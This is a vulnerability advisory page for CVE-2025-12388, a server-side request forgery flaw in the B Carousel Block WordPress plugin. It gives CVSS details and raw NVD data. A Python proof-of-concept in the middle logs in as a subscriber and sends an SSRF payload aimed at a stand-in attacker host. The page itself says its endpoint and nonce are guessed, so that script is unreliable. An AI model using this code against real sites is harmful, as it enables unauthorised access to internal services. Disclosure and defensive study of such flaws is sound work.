Security Vulnerability Report
中文
CVE-2025-12388 CVSS 6.4 MEDIUM

CVE-2025-12388

Published: 2025-11-05 07:15:33
Last Modified: 2026-04-15 00:35:42

Description

The B Carousel Block – Responsive Image and Content Carousel plugin for WordPress is vulnerable to Server-Side Request Forgery in versions up to, and including, 1.1.5. This is due to the plugin not validating user-supplied URLs before passing them to the wp_remote_request() function. This makes it possible for authenticated attackers, with subscriber-level access and above, to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

B Carousel Block插件 <= 1.1.5

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-12388 SSRF PoC for B Carousel Block WordPress Plugin # Target: WordPress site with B Carousel Block plugin <= 1.1.5 def exploit_ssrf(target_url, attacker_server, username, password): """ Exploit SSRF vulnerability in B Carousel Block plugin Args: target_url: Target WordPress site URL attacker_server: Attacker's controlled server to receive requests username: WordPress subscriber-level username password: WordPress account password """ # Step 1: Authenticate to WordPress session = requests.Session() login_url = f"{target_url}/wp-login.php" login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': f"{target_url}/wp-admin/" } login_response = session.post(login_url, data=login_data) if 'wordpress_logged_in' not in session.cookies.get_dict(): print("[-] Authentication failed") return False print("[+] Authentication successful") # Step 2: Send SSRF payload via plugin's URL field # Target the carousel block's image URL parameter ssrf_payload = attacker_server # e.g., http://attacker.com/collect # Construct the malicious request # The exact endpoint depends on the plugin's implementation exploit_data = { 'carousel_url': ssrf_payload, # SSRF payload 'action': 'b_carousel_block_save', 'nonce': 'attacker_controlled_or_guessed' # May need to fetch valid nonce } # Alternative: Target REST API endpoint if available api_endpoint = f"{target_url}/wp-json/b-carousel-block/v1/carousel" try: response = session.post(api_endpoint, json=exploit_data, timeout=10) print(f"[+] SSRF request sent to {ssrf_payload}") print(f"[*] Response status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[*] Request sent (check {attacker_server} for incoming connection)") return True if __name__ == "__main__": if len(sys.argv) < 5: print("Usage: python cve-2025-12388.py <target_url> <attacker_server> <username> <password>") print("Example: python cve-2025-12388.py http://victim.com http://attacker.com:8080 user pass") sys.exit(1) target = sys.argv[1] server = sys.argv[2] user = sys.argv[3] pwd = sys.argv[4] exploit_ssrf(target, server, user, pwd)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12388", "sourceIdentifier": "[email protected]", "published": "2025-11-05T07:15:32.813", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The B Carousel Block – Responsive Image and Content Carousel plugin for WordPress is vulnerable to Server-Side Request Forgery in versions up to, and including, 1.1.5. This is due to the plugin not validating user-supplied URLs before passing them to the wp_remote_request() function. This makes it possible for authenticated attackers, with subscriber-level access and above, to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-918"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/changeset/3387643/b-carousel-block", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3388271/b-carousel-block", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/cb5ca73c-1a1d-4a93-bbcb-8af606189f26?source=cve", "source": "[email protected]"}]}}